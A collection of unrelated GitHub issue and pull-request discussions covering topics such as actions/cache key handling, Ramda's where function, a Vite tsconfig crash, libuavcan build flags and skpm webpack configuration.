Add option to re-evaluate cache key during post action

We're having a situation where we don't know in advance which files will need cached.
As in, the list of files is only known once the files are actually there.
This change adds an optional option which explicitly re-evaluates the Cache-Key in the post action, so it can get the latest hash, or whatever else determines the key.
Update of actions/core was done to get access to getBooleanInput().

Hi @TimoRoth
Are you still keen on contributing this PR? If yes, I have a couple of questions for you

If the cache key changes between cache restore step and the cache save step (in the post step), would it cause inconsistency?
If the cache key is not available at the time of cache restore, there will never be a cache hit. In that case, we will create a new cache everytime the workflow runs. That is not desirable. Is this understanding correct?

Hi @TimoRoth Are you still keen on contributing this PR? If yes, I have a couple of questions for you
1. If the cache key changes between cache restore step and the cache save step (in the post step), would it cause inconsistency?

No, it would just store the cache under a different key than the one it downloaded initially.
But generally, a hit on the key itself is not normally expected when you need this option, because:

2. If the cache key is not available at the time of cache restore, there will never be a cache hit. In that case, we will create a new cache everytime the workflow runs. That is not desirable. Is this understanding correct?

This option only really makes sense in combination with a sensible restore-key.
You can see our use of it here:
https://github.com/OGGM/tutorials/blob/ba7c1fc64fb0d7f2edf94738229513c239f82ab0/.github/workflows/build-pages.yml#L23
As long as nothing changes, the list of files will be the same, and the same cache key will be generated, and nothing will be uploaded.
Problem is: The list of files that will be cached is determined at runtime: https://github.com/OGGM/tutorials/blob/ba7c1fc64fb0d7f2edf94738229513c239f82ab0/.github/workflows/build-pages.yml#L61
If you do not have a restore-key, you might never get a cache hit and the whole thing is pointless.

To elaborate a bit on why we need that:
The software we run downloads a whole lot of files from various sources on the internet.
There is no predetermined list of which files of the tens of thousands that are there this specific configuration of the software will download.
It will however be able to detect if those files are already there.
So we need a way to update the cache whenever the set of files it downloaded changed, but we only know that after it has finished running.
Obviously that is too late to restore the cache, since at this point the software would have already downloaded the files again on its own.
Re-Evaluating the cache key at post is the easiest way I found to achieve that.

Thank you for the context. As you understand, this is not a very common use case. The action might behave in unexpected ways if the cache key changes within the same workflow. Today, the cache key used while restoring the cache is explicitly saved in the state to be used again in the post action step as you see in the comment here.
This makes me skeptical of re-evaluating the cache key. I will try to gather more context about the importance of keeping the cache key same throughout the workflow and get back to you if I learn anything more. Based on my understanding so far, I am not sure if we should go ahead with this change.

On 07.10.2022 15:04, Aparna Ravindra wrote:

Thank you for the context. As you understand, this is not a very common
use case. The action might behave in unexpected ways if the cache key
changes within the same workflow. Today, the cache key used while
restoring the cache is explicitly saved in the state to be used again in
the post action step as you see in the comment here
https://github.com/actions/cache/blob/a3f5edc2378b2e43203912210dc88effa160f032/src/save.ts#L29.

It doesn't seem that unusual to me really.
There's a lot of situations where you want to cache something that's not
already known before you run your build.

This makes me skeptical of re-evaluating the cache key. I will try to
gather more context about the importance of keeping the cache key same
throughout the workflow and get back to you if I learn anything more.
Based on my understanding so far, I am not sure if we should go ahead
with this change.

At least in our case, we've been using the action with this PR applies
for a rather long time now (even before the PR was created) and never
had any issues.
So it's at least not completely broken.
I could see there being some corner cases where it misbehaves, but
catching those and throwing an error should be possible.

Being able to make a key based on the contents of the cache would be very valuable.
At least, the docs should be clearer on when the key is rendered, as it's currently very confusing because during the save stage, debug output shows that the key is rendered again, but the version that is used for save is the one from the earlier restore step.
Docs change: https://github.com/actions/cache/pull/1283


feat($state): Added default option for $state.go

added 'defaults' property to $stateProvider
modified $state.transitionTo default options to $stateProvider defaults property

in 1.0, the default transition options are now in the transition service, so I don't think we should add them to the $state service.
https://github.com/angular-ui/ui-router/blob/feature-1.0/src/transition/transitionService.ts#L30-L39

Agreed. This is a decent idea, but we don't want to introduce any more changes that would cause 0.2.x to diverge any further from 1.0.

ok, thanks for yours reply. I will be using 1.0 version soon.


Add docker labels to remaining nodes in Jenkinfiles

It turns out all nodes in Jenkinsfiles need a label. Since these jobs run on nodes with docker anyway this adds the docker tag

Hi @dro25 !
Isn't this the label that you give to the Jenkins nodes (when you install/configure Jenkins)?  If so, would this not couple the Jenkinsfiles to Sky's specific Jenkins setup?
The label should be optional, and if omitted, execute on any agent (and works fine this way in my setup!): https://www.jenkins.io/doc/book/pipeline/#scripted-pipeline-fundamentals
https://www.jenkins.io/doc/pipeline/steps/workflow-durable-task-step/#node-allocate-node
https://www.jenkins.io/doc/book/pipeline/syntax/#scripted-pipeline

Hi @dseeley, I thought the same hence them initially being missed out. We then found after configuring swarm node to check for labels that these node blocks were getting stuck waiting for a slave. The problem seems to manifest when moving slaves to exclusive mode which as far as I can tell is necessary when using labels to direct jobs to appropriate nodes.


applications exited with code 0

the applications container exited automatically after starting it with a message "applications exited with code 0 "

This could be the same issue as mentioned within #864

@madaonoyabo To find the issue, we'll need some additional information. Could you tell more about what you're trying to do, what command is used to bring Laradock up and if you've got the latest Laradock version?

Same here... After all the containers start, i get applications_1 exited with code 0.
SO: Ubuntu 16.04 (Gnome)
docker-compose --version
docker-compose version 1.11.1, build 7c5d5e4
docker --version
Docker version 17.03.1-ce, build c6d412e

Same here :/
# docker --version
Docker version 17.05.0-ce, build 89658be

# docker --version
Docker version 17.05.0-ce, build 89658be


separate R.where into two simpler functions: R.where and R.whereEq

Closes #1032
This is the alternative to #1034. If we decide we want both functions we need to decide what to name them. :)

IMO where is about specifying an interface that the input object must satisfy, not that the object's individual properties must satisfy in isolation.

I'm fine with this as long as whereEq is included
whereEq = compose(where, mapObject(eq))

Damn, it hadn't hit me how straightforward that conversion was:

whereEq = compose(where, mapObject(eq))

Nice.

Shall I add R.whereEq?

I could be happy with this version of where alongside a whereEq.  But I believe @buzzdecafe still might have some reservations about it.

not reservations. just not seeing the point particularly.

I say yes, then.  Two simple functions beat one complex function hands-down.

I've added R.whereEq.

((:bell:)) @buzzdecafe, @CrossEye

i don't mind the complexity of the original. i don't really object to this, but it doesn't excite me either. i expect this may break a lot of stuff that uses where at present.
this is nice: return where(mapObj(eq, spec), testObj);
but i wonder how it performs? that was the reason for the nastiness of the original.

i expect this may break a lot of stuff that uses where at present.

Certainly. In most cases, users will need to replace R.where with R.whereEq:
-R.where({x: 1, y: 2})
+R.whereEq({x: 1, y: 2})

In each of the remaining cases, each non-function value in the spec must be wrapped with R.eq:
-R.where({x: 1, y: 2, z: R.gte(R.__, 0)})
+R.where({x: R.eq(1), y: R.eq(2), z: R.gte(R.__, 0)})

Sorry, I thought I'd made it clear that I was in favor of this.
I do think that sometime soon, we'll have to look at the basic implementation.  If I'm not mistaken, in the Great Curry Debacle of 2014, we reset this one in such a way that it might have lost some of the benefits that had been gained by the initial manual currying we had done.  This one was the function that showed us the need for changes to our old currying, and it had some interesting behavior...

Let's just make sure this is bold, highlighted, underlined in change log as
it will break a good amount of code
On May 8, 2015 10:46 AM, "Michael Hurley"<EMAIL_ADDRESS>wrote:

Merged #1036 https://github.com/ramda/ramda/pull/1036.
—
Reply to this email directly or view it on GitHub
https://github.com/ramda/ramda/pull/1036#event-300308745.

yep, totally agree

here is some evidence suggesting we can get a boost simply by defining mapObjEq in closure and using that: http://jsperf.com/mapobj-test

not sure what to make of this: http://jsperf.com/mapobj-test

I could certainly get behind a more efficient implementation. It was API complexity this pull request sought to reduce.


feat: Add table_name and store_resource_name? DSL options.

feat: Add table_name DSL option.
When using a SQL-based data layer, allow the user to explicitly set the table name for version storage.
feat: Add store_resource_name? DSL option.
Adds a version_resource_name attribute to the version resource which stores the name of the resource that is being changed.

I'd rather have some kind of "version identifier" than the module name itself I think. Regardless, if storing that, we should also add a base filter on the version resource that it is what you're saying. That way you don't get versions from other resources.

I'd rather have some kind of "version identifier" than the module name itself I think.

What if we store the resource's short_name rather than the module name?

Regardless, if storing that, we should also add a base filter on the version resource that it is what you're saying. That way you don't get versions from other resources.

Good idea.

The only issue with short name is that, unlike the module name it's not guaranteed to be unique, and if the module name changed, the default short name changes as well. If we use the resource name, changing the module name could require a migration of the largest tables in an app.

Okay, so we let them specify the resource name in this instance and default it to short_name


Error when running presenterm-export --version

When I try to run presenterm-export --version I get the following error:
Traceback (most recent call last):
  File "/Users/gvqz/.local/share/mise/installs/python/3.13.0/bin/presenterm-export", line 5, in <module>
    from presenterm_export.cli import main
  File "/Users/gvqz/.local/share/mise/installs/python/3.13.0/lib/python3.13/site-packages/presenterm_export/cli.py", line 8, in <module>
    from dataclass_wizard import JSONWizard
  File "/Users/gvqz/.local/share/mise/installs/python/3.13.0/lib/python3.13/site-packages/dataclass_wizard/__init__.py", line 100, in <module>
    from .bases_meta import LoadMeta, DumpMeta
  File "/Users/gvqz/.local/share/mise/installs/python/3.13.0/lib/python3.13/site-packages/dataclass_wizard/bases_meta.py", line 10, in <module>
    from .abstractions import AbstractJSONWizard
  File "/Users/gvqz/.local/share/mise/installs/python/3.13.0/lib/python3.13/site-packages/dataclass_wizard/abstractions.py", line 14, in <module>
    from .models import Extras
  File "/Users/gvqz/.local/share/mise/installs/python/3.13.0/lib/python3.13/site-packages/dataclass_wizard/models.py", line 3, in <module>
    from dataclasses import MISSING, Field, _create_fn
ImportError: cannot import name '_create_fn' from 'dataclasses' (/Users/gvqz/.local/share/mise/installs/python/3.13.0/lib/python3.13/dataclasses.py)

OS: MacOS v15.0.1
Python: v3.13.0
WeasyPrint: v62.3

I use mise to manage my tool versions, not sure if that has anything to do with it.

Hm, I fixed this by using python version 3.9.


[Submission]: Kafka Sonar Docker Desktop extension

Docker Hub repository name
kafkasonar/kafkasonar
Terms of services

[X] I accept the term of services

Docker Hub repository name
kafkasonar/kafkasonar

Hi @stekim4!
We also received your request to be reviewed in the Marketplace. Just wanted to confirm that you want both. I tried creating an account to test the extension, but I'm always receiving an error "Error signing up". Are there any restrictions on username or password?
Let me know if you want us to proceed with publishing it as is and we can do the review process later. Thanks!

Hello @lucbpz!
Yes we are definitely interested in pursuing both the self-publishing route as well as the Docker review route. We understand the Docker review may take a while and that's totally fine.
With regards to your question about restrictions on username - there is a basic input validation for username (at least 3 digits & only letters, digits, and underscores), but this error should trigger a different error - "Provide a valid username".
I pushed a new image to kafkasonar/kafkasonar and this update should give us more information about the "Error signing up" issue you're experiencing.
For example:

Would you be able to install the extension again and pass along the extended error message? Also, would you be able to confirm that when the extension is running, there is a container called timescaledb running on port 5432?
Thank you!

Awesome @stekim4! I had some problem with the timescaledb container, that was it 🎉 . I'll revalidate again as you pushed a new image, and publish it in the marketplace. In the following days we'll start your review process 👍

/validate


fine_dehalo.mask: Add Lanczos pre_ss

This commit adds basic lanczos pre_ss functionality to fine_dehalo.mask. This should give you more accurate masking results (see this comp).
I explicitly opted not to pass pre_ss params forward to __call__. This is for two reasons:

I don't want to adjust the behaviour of fine_dehalo at this moment. Possibly altering how it behaves may result in issues for user's scripts. I feel that if we're changing this, @setsugennoao should be the one to do it.
I want to move away from using nnedi3 for supersampling. It's faster than it's ever been, but faster options that give us similar results but should be faster. See this discord message. The idea is primarily that at integer supersampling, Lanczos (and similar) will be interpolatory. This allows us to undo them. The only real catch is that we must do integer scaling, but the speed loss there is offset by Kernels generally being faster than Nnedi3. @Vodes also verified the results are the same as Nnedi3.

Hopefully this can be the start to us implementing this in other functions to speed things up slightly.

Additional comparison
a = fine_dehalo.mask(clip)
b= fine_dehalo.mask(clip, pre_ss=2)

You may aswell add bilinear and bicubic aswell


Proposal for update

step 4 of https://docs.microsoft.com/en-us/azure-stack/user/azure-stack-kubernetes-aks-engine-deploy-cluster?view=azs-2008#update-the-api-model
provide the URL to the tenant portal. For example, https://portal.local.azurestack.external.
is making confusion with
step 6: Find portalURL and provide the URL to the tenant portal. For example, https://portal.local.azurestack.external.
i would delete step 4

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: e9652b7b-09b9-ace9-4ef7-abc413b9d52c
Version Independent ID: 53c19bb0-3f77-d15c-87e2-33e1d442d73b
Content: Deploy Kubernetes cluster with AKS engine on Azure Stack Hub - Azure Stack Hub
Content Source: azure-stack/user/azure-stack-kubernetes-aks-engine-deploy-cluster.md
Service: azure-stack
Sub-service: azure-stack-hub
GitHub Login: @mattbriggs
Microsoft Alias: mabrigg

@prjelesi Thanks for the feedback! I have assigned the issue to the content author to investigate further and update the document as appropriate.

@prjelesi Thanks for catching the duplicate step. I removed the second one. Thanks! The update will be on the site shortly.
Thanks!
#please-close


Error while tsconfig.json hot update

Describe the bug
I'm building an Electron App with Vite and when I update tsconfig.json an error occurs.

🚨 Because this is an Electron application, it cannot be reproduced on StackBlite. But I still provide a minimal Demo.
I hope you can clone electron-vite-vue to run locally, the reproduction steps are really simple. :)

npm run dev
modify tsconfig.json
ctrl + s save file

I explained the problem in great detail in this issue 👉 https://github.com/electron-vite/electron-vite-vue/issues/218
I submitted a PR to fix it #9412
Reproduction
https://stackblitz.com/edit/vite-plugin-electron?file=vite.config.ts
System Info
System:
    OS: macOS 10.15.7
    CPU: (8) x64 Intel(R) Core(TM) i7-1068NG7 CPU @ 2.30GHz
    Memory: 162.66 MB / 16.00 GB
    Shell: 5.7.1 - /bin/zsh
  Binaries:
    Node: 16.13.0 - /usr/local/bin/node
    Yarn: 1.22.19 - ~/.yarn/bin/yarn
    npm: 8.1.0 - /usr/local/bin/npm
  Browsers:
    Chrome: 103.0.5060.134
    Safari: 15.4
  npmPackages:
    @vitejs/plugin-react: ^2.0.0 => 1.3.2
    vite: ^3.0.2 => 2.9.14

Used Package Manager
yarn
Logs

Click to expand!
/Users/atom/Desktop/github/electron-vite-react/node_modules/vite/dist/node/chunks/dep-c9998dc6.js:19957
        server.config.logger.info(`changed tsconfig file detected: ${changedFile} - Clearing cache and forcing full-reload to ensure typescript is compiled with updated config values.`, { clear: server.config.clearScreen, timestamp: true });
               ^

TypeError: Cannot read properties of null (reading 'config')
    at FSWatcher.reloadOnTsconfigChange (/Users/atom/Desktop/github/electron-vite-react/node_modules/vite/dist/node/chunks/dep-c9998dc6.js:19957:16)
    at FSWatcher.emit (node:events:402:35)
    at FSWatcher.emitWithAll (/Users/atom/Desktop/github/electron-vite-react/node_modules/vite/dist/node/chunks/dep-c9998dc6.js:47126:8)
    at FSWatcher._emit (/Users/atom/Desktop/github/electron-vite-react/node_modules/vite/dist/node/chunks/dep-c9998dc6.js:47218:8)
    at FsEventsHandler$1.handleEvent (/Users/atom/Desktop/github/electron-vite-react/node_modules/vite/dist/node/chunks/dep-c9998dc6.js:46352:14)
    at FsEventsHandler$1.addOrChange (/Users/atom/Desktop/github/electron-vite-react/node_modules/vite/dist/node/chunks/dep-c9998dc6.js:46302:8)
    at watchCallback (/Users/atom/Desktop/github/electron-vite-react/node_modules/vite/dist/node/chunks/dep-c9998dc6.js:46406:21)
    at filteredListener (/Users/atom/Desktop/github/electron-vite-react/node_modules/vite/dist/node/chunks/dep-c9998dc6.js:46191:7)
    at /Users/atom/Desktop/github/electron-vite-react/node_modules/vite/dist/node/chunks/dep-c9998dc6.js:46216:11
    at Set.forEach (<anonymous>)
error Command failed with exit code 1.

Validations

[X] Follow our Code of Conduct
[X] Read the Contributing Guidelines.
[X] Read the docs.
[X] Check that there isn't already an issue that reports the same bug to avoid creating a duplicate.
[X] Make sure this is a Vite issue and not a framework-specific issue. For example, if it's a Vue SFC related bug, it should likely be reported to vuejs/core instead.
[X] Check that this is a concrete bug. For Q&A open a GitHub Discussion or join our Discord Chat Server.
[X] The provided reproduction is a minimal reproducible example of the bug.

Having this error in 80% of runs all the time, even if I don't touch tsconfig.json at all.

Hopefully I will have time this weekend to fix it :)

Fixed by https://github.com/vitejs/vite/pull/11747


Implicit conversions in  fstar_uint128_gcc64.h

Should this be done in the msvc version as well?

I think so, yes. Thanks!!

I think so, yes. Thanks!!

msvc should be fine https://github.com/FStarLang/karamel/blob/f8d97a5edd60e392e977c8e0aafbd530fe9caa5c/krmllib/c/fstar_uint128_msvc.h#L354

Cool, thanks!


libuavcan doesn't compile if UAVCAN_DEBUG, UAVCAN_TOSTRING and UAVCAN_EXCEPTIONS are not defined

Compiler: arm-none-eabi-gcc (GNU Tools for ARM Embedded Processors) 5.4.1 20160919 (release) [ARM/embedded-5-branch revision 240496]
Problem that even if UAVCAN_DEBUG is disabled compiler tries to find toString() method, that is not defined when UAVCAN_TOSTRING is not defined, which requires UAVCAN_EXCEPTIONS, that I don't want to use. I.e. RELEASE build is not possible without exceptions.
https://github.com/UAVCAN/libuavcan/blob/67da0aae7dd4eedae7905ab98941592cebab4723/libuavcan/include/uavcan/transport/outgoing_transfer_registry.hpp#L89
.../libuavcan/./libuavcan/include/uavcan/transport/outgoing_transfer_registry.hpp: In member function 'bool uavcan::OutgoingTransferRegistry::DeadlineExpiredPredicate::operator()(const uavcan::OutgoingTransferRegistryKey&, const uavcan::OutgoingTransferRegistry::Value&) const':
.../libuavcan/./libuavcan/include/uavcan/transport/outgoing_transfer_registry.hpp:89:34: error: 'const class uavcan::OutgoingTransferRegistryKey' has no member named 'toString'
                              key.toString().c_str(), int(value.tid.get()));

UPDATE: When UAVCAN_DEBUG is enabled it doesn't compile too because of the same key.toString()

Problem that even if UAVCAN_DEBUG is disabled compiler tries to find toString() method

That can't be true. The line you're referring to is a trace statement; UAVCAN_TRACE is defined to expand into a no-op unless UAVCAN_DEBUG is enabled: https://github.com/UAVCAN/libuavcan/blob/67da0aae7dd4eedae7905ab98941592cebab4723/libuavcan/include/uavcan/debug.hpp#L31
Seeing as your compiler is looking for toString() nevertheless, you must be trying to build a debug build with UAVCAN_DEBUG enabled, which is not supposed to be used in production (it's intended mostly for testing and development). Let us have a look at your build log.
Other than that, if UAVCAN_DEBUG is enabled, both UAVCAN_TOSTRING and UAVCAN_EXCEPTIONS are required, but as I said, that does not affect release environments.

Sorry, my mistake, UAVCAN_DEBUG was enabled in another place. Compiles now!


Improve unit tests for mutable_state_builder_methods_activity.go

What changed?
More tests and changed one log message that panics while looking up activity info details when not present

Why?
improve code coverage and fix panic cause

How did you test it?
uni tests

Potential risks

Release notes

Documentation Changes

Pull Request Test Coverage Report for Build 018fa587-14cf-4118-9384-8844543d411b
Details

2 of 2 (100.0%)  changed or added relevant lines in 1 file are covered.
89 unchanged lines in 18 files lost coverage.
Overall coverage increased (+0.02%) to 69.331%

Files with Coverage Reduction
New Missed Lines
%

common/task/weighted_round_robin_task_scheduler.go
2
88.06%

common/task/parallel_task_processor.go
2
93.06%

common/persistence/execution_manager.go
2
86.43%

service/matching/tasklist/task_list_manager.go
2
76.48%

common/task/fifo_task_scheduler.go
2
87.63%

common/persistence/sql/sqlplugin/mysql/task.go
2
73.68%

service/history/task/transfer_active_task_executor.go
2
72.72%

common/persistence/sql/sqlplugin/mysql/db.go
2
79.49%

service/history/task/fetcher.go
3
85.57%

common/archiver/filestore/historyArchiver.go
4
80.95%

Totals

Change from base Build 018fa464-40c9-4742-b88d-967555b43b81:
0.02%

Covered Lines:
102149

Relevant Lines:
147336

💛  - Coveralls


UI for Moving RootDomain field to GlobalDNSProviderSpec

Related backend issue: https://github.com/rancher/rancher/issues/18346
Do corresponding changes on the UI side.

Maybe this should go to @loganhz

@cjellick no need, when the backend is merged I can tackle it. Adding the waiting backend label though. @prachidamle will you remove the label when your PR is merged?

sure @westlywright

Validated in master 2/25.
With the API changes, I can create route53/cloudflare/alidns globaldns providers. I can edit them as expect.

Validated in master 2/25.
With the API changes, I can create route53/cloudflare/alidns globaldns providers. I can edit them as expect.


Fix for deletion of tempdata cookie with __Host as prefix

Summary of the changes (Less than 80 chars)

Ensure secure flag is retained when deleting a cookie

Addresses #8426
I won't be signing the CLA, if this is required for a PR to be merged feel free to close this PR and just copy the changes.
It would be great if this could also be fixed on 2.1 LTS.

@javiercn can you please review this? Thanks!

Looks like your proposed changes were addessed as part of https://github.com/aspnet/AspNetCore/pull/9741 that's targeting the 3.0 release.


Create A New Profile Page For Yourself

Make your own profile page :)
Copy omicreativedev.html
But then make it look different!
Don't forget to update pages_list.txt
Be as creative as you want!
Read the Docs.
Give a ⭐
Don't break anything. :)

pls assign me this task.
I want to contribute.

@Priyanshu-su30 You are assigned :)


Assets with dashes ("-") in paths not being extracted

Seen in a few BGM assets, maybe affects other types (only checked BGM). Assets are downloaded with hashed names in dump/ but a few with dashes aren't extracted to output/.
For example, bgm/world_brave/story/seven_story_10-1.mp3 (3b/384970fbe0e798d766eeda9b0650eebc39d578), bgm/event/xm19-event/event_battle_christmas_boss.mp3 (80/fb72cc9f98d010b26ced9d80ef723627d7f825) and so on, referenced in master bgm_asset.orderedmap table.
My base output dir is a simple path with only letters and no numbers/dashes/etc if that matters, all other bgm extracted ok.

Thanks for the information. I'll look into this when I have some spare time

Closed by #24


Install Wagtail API v2

This PR adds Wagtail API v2 to the demo, but it requires https://github.com/torchbox/wagtail/pull/2556 to be be merged first

https://github.com/wagtail/wagtail/pull/2649 is in, seems like this is now ready to be merged

Merged in b2dcedeb8c71ade4c26abb3efbda1cfbbf8278ab (and changed the url path from v2beta to v2, since it's not beta at this point...)


Parse ONNX Expand to broadcast_with_dims

Relies on #2629
Makes a new MIGX operator broadcast_with_dims that broadcasts a shape with the dimensions given as the second input.
Needed for parsing ONNX Expand when the second input is not constant.

What's the reason this was created as a separate op instead of extra functionality for the multibroadcast op?

What's the reason this was created as a separate op instead of extra functionality for the multibroadcast op?

very messy that way, this way is cleaner


Add extra overload for to_netcdf

The current signature does not match with pyright if a non-literal bool is passed.
This fixes type checking of code like this:
import xarray as xr

def myfunc(compute: bool) -> None:
    ds = xr.Dataset()
    ds.to_netcdf(path="myfile.nc",
                compute=compute)

with pyright.
See https://github.com/microsoft/pyright/issues/6069 for context.

On a side note, maybe I will open an issue over at mypy to request the feature that Union[Literal[True], Literal[False]] == bool

Already exists: https://github.com/python/mypy/issues/14764


[Feature request] Zero-indexed frames

For me it is troublesome that the frames are indexed from 1. When coding, everything is zero-indexed. This means I constantly have to translate the indexes in piskel to what I use in code (i e subtract with 1). What about an option to choose how to index the frames?

Hope this thread is not dead yet. I need this exact same thing.
Why I need it?
I have a database for the things that I want to draw sprites for. I will use a sprite sheet. The framework that I use (as almost all languages) uses 0 indexing. The first sprite can be adressed as 0 and so on... If I look into the database I always have to offset by on in my head.
Other solution would be to write some janky logic (using 1 indexing). As a programmer you may understand the frustration.
I would even dare to say that rendering the indexing from 0 woldn't hurt anyone, so making it optional is unneccessary.


updates for v0.8.2

Checklist before submitting

[x] Did you read the contributor guide?
[ ] Did you update any affected documentation?
[ ] Did you write any tests to validate this change?

Description
Fixes https://github.com/open-ce/open-ce/issues/168.
Review process to land

All tests and other checks must succeed.
At least one maintainer must review and approve.
If any  maintainer requests changes, they must be addressed.

@cdeepali Did you verify that the Open-CE tests for torchvision are working correctly with these changes?

https://github.com/open-ce/open-ce/issues/221


Run should return an error when setup fails

The issues with raw socket support means that if the caller does not set privileged mode correctly, or if the user runs the executable without the required capab, the Pinger.Run() method can return immediately without sending any ping packets.
There is currently no direct way of differentiating between these problems caused by an invalid environment versus a successful run, as there is no return value from Run. The code simply logs the error to stdout, which isn't very helpful.
As a workaround, you can either check that Statistics.PacketsSent is non-zero, or you can check for the invocation of the OnFinish handler, which won't get invoked if setting up the ICMP listener fails, although neither of these are ideal.
I think Run should return an error in these circumstances, although sadly this would break backwards compat on the interface.

pinger.Run() now returns an error as of #81.


Add alphabetical/chronological sort for multi-file import

Fixes #6773
Changes proposed in this pull request:

Sort files alphabetically/chronologically by default for multi-file import.

BEFORE:

AFTER:

Welcome back @elebitzero, very nice to see you here again :)
I tried it out and while it does sort the files at the first stage where we ask the user to select which files to import, that order does not seem to carry over to the next stages:

You can try the following archive:
archive.zip
(you need to disable parsing column headers from the file to get the sort of output I got above)

Very nice, making it configurable is obviously much better.
I wonder if it wouldn't be more practical to have the sorting options in the panel where files can be filtered. For instance in the left-hand side panel in the screenshot below, underneath the "Select by extension" and "Select by regex on file names" sections, as an additional "Sort files" option.

With such a move, we would expose those options only when importing multiple files at once, and keep the UI less cluttered for use cases where a single file is imported (which is the norm, I would say). For reference, this is what the start page looks like after this PR:

Moving those new sorting options to the next stage would also have the benefit of making the sorting options available to the "Web Addresses (URLs)" import workflow, where it is also possible to import multiple files at once.


Support pinch zoom for low-vision users

Was just pointed out to me : some people want to use the game in zoomed state (at the level of zoom they need.)

I wonder if instead of pinch zooming, we could allow to configure the tile size.

that could work. We need to put it in the game page tho because users go back and forth with zoom level. it can't be inside of settings menu.... UI consideration needed.


Issue with 0.7.4 - UnhandledPromiseRejectionWarning: WebpackOptionsValidationError: Invalid configuration object

Hi!
I'm getting this exception and can't get the plugin to build without the warning. Any clue?
(node:20011) UnhandledPromiseRejectionWarning: WebpackOptionsValidationError: Invalid configuration object. Webpack has been initialised using a configuration object that does not match the API schema.

configuration.node should be one of these:
false | object { Buffer?, __dirname?, __filename?, console?, global?, process?, … }
-> Include polyfills or mocks for various node stuff.
Details:

configuration.node should be false
configuration.node should be an object.
at webpack (/Users/ooto/Projects/sketch-styler/node_modules/webpack/lib/webpack.js:31:9)
at /Users/ooto/Projects/sketch-styler/node_modules/@skpm/builder/lib/build.js:148:46
at Generator.next ()
at step (/Users/ooto/Projects/sketch-styler/node_modules/@skpm/builder/lib/build.js:298:191)
at /Users/ooto/Projects/sketch-styler/node_modules/@skpm/builder/lib/build.js:298:361
(node:20011) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). (rejection id: 1)
(node:20011) [DEP0018] DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.

do you have a webpack.skpm.config.js file? if so, what's inside?

Yes I do. It's the following:
module.exports = function (config) {
config.module.rules.push({
test: /.(html)$/,
use: [{
loader: "@skpm/extract-loader",
},
{
loader: "html-loader",
options: {
attrs: [
'img:src',
'link:href'
],
interpolate: true,
},
},
]
})
config.module.rules.push({
test: /.(css)$/,
use: [{
loader: "@skpm/extract-loader",
},
{
loader: "css-loader",
},
]
})
}

hum weird. In your config, could you console.log(config.node) and see what's up?

Never done it before... How do I do it? Within the plugin code you mean? Or from Terminal in a specific folder?

no, just in your webpack.skpm.config.js file, inside the function.
Then run npm run build and it should print it

Thanks. It gets printed twice (false first and true later):
[1/6] 🖨  Copied src/manifest.json in 3ms [2/6] ⛏  Copied assets/icon-sr.png [3/6] 🔧  Copied assets/icon.png config.node false config.node true (node:3287) UnhandledPromiseRejectionWarning:

ah so it's the true that generates the warning. Let me check where it's coming from

ah right so I think I already fixed it, but haven't published it yet

should be fixed in 0.7.5

Wow, that was fast! 🤩
Just updated skpm builder and now everything seems OK.

skpm-build

[1/6] 🖨  Copied src/manifest.json in 2ms
[2/6] 🛠  Copied assets/icon-sr.png
[3/6] ⛏  Copied assets/icon.png
config.node
false
config.node
undefined
config.node
undefined
[4/6] ⚒  Built resources/webview.js in 817ms
[5/6] 🔨  Built resources/register.js in 830ms
[6/6] 🔧  Built ./AssignStylesAutomatically.js in 1643ms
success Plugin built

Thanks a lot! 🥰


sewing together Forms, Redux, and Form State

Goals

[x] Populate profile/settings page with user information
[ ] sew together ProgramForm and CourseForm
[ ] sew together CourseForm and ModuleForm
[x] populate EDIT PROGRAM form with existing program data (by ID)
[x] populate EDIT COURSE form with  existing course data (by ID)
[x] populate EDIT MODULE form with existing module data (by ID)
[ ] allow user to edit an existing course in a program

[ ] course card (in program form) onClick routes user to CourseForm with populated data
[ ] after editing said course, onSubmit should get that data up to program and route user back to the ProgramForm
[ ] on cancel, route user back to ProgramForm

[ ] allow user to edit an existing module in course
[ ] ProgramForm on submit should hit the correct endpoint depending on ADD or EDIT

[x] ProgramForm on submit hits POST program on ADD
[x] ProgramForm on submit hits PUT program on EDIT
[ ] The data should include any Sub-Courses (and their sub-modules) that existed if EDIT
[ ] The data should include any Sub-Courses (and their sub-modules) that existed AND were edited
[ ] The data should include any new courses that were added if ADD or EDIT

Sooooo As it turns out, I wayyyy overshot what this form was supposed to be capable of at this point.
Currently, ProgramForm allows users to create a program or edit a program! That's all we needed!!
Comments added throughout for readability.


Add an Onboarding Flow

Tutorial URL: https://developers.sap.com/tutorials/cp-sdk-android-flows-onboard.html
Please specify the step you are referring to 3:
Isn´t It right, that we all work on your App as shown in configorationprovider.json:
{
"auth":[{"type":"basic.default","config":{},"requireOtp":false}],
"host":"hcpms-p1743065160trial.hanatrial.ondemand.com",
"port":443,
"protocol":"https",
"appID":"com.sap.wizapp"
}
so, we can´t disable passcode for this app in this tutorial?
Regards
Marco

The line above the configurationprovider.json mentions
Update the host value to match your Mobile Services host.
So the intent is for someone following the tutorial to change p1743065160 to their user id.
I will try to make that more clear in the tutorial.
Regards,
Dan van Leeuwen

OK, I made the Toutorial ready one hour ago. It was grat to see what we can do with the mobile devices. Thanks for that!


Unable to add new collection creators

Adding new users to the dlss:hydrus-app-collection-creators workgroup should give them permission to create a new collection. A button like the one shown below should show up on their dashboard:

However, I added a new user, zimmerd, to this workgroup on 09-01-23 and he is still unable to see this button. Just today I tried adding Cory Lown to this workgroup and he was unable to see the button as well. He tried two browsers (Chrome and Firefox, I believe).
I gave zimmerd depositor permissions on a test collection of mine and he was able to log into the app, but still can't see the button.

Existing collection creator permissions do not seem to be affected. It looks like it's just that new additions to the workgroup are not seeing the button in H2.

I have looked at the code and don't see any recent changes to functionality, so am not sure why it is occurring yet.  Things outside our code that could have changed that would cause issues:

Workgroup name (dlss:hydrus-app-collection-creators)
Header (HTTP_X_GROUPS) coming from shibboleth that determines which groups a user is in

But if either of these changed, all current users should be affected too.
I made a small PR to add some additional logging to see if this gives us any clues for debugging.
One possible idea is that I noted we currently cache groups in a session variable, so if you add a user to a new group, it won't kick in until their session expires and they log in again.  I assumed the users who are now having problems tried again after clearing their session (I would think closing the browser full and restarting would do it, I used web developer extension to do it on demand).   But again, this caching behavior hasn't changed recently either.

I just checked and the workgroup name definitely has not changed.
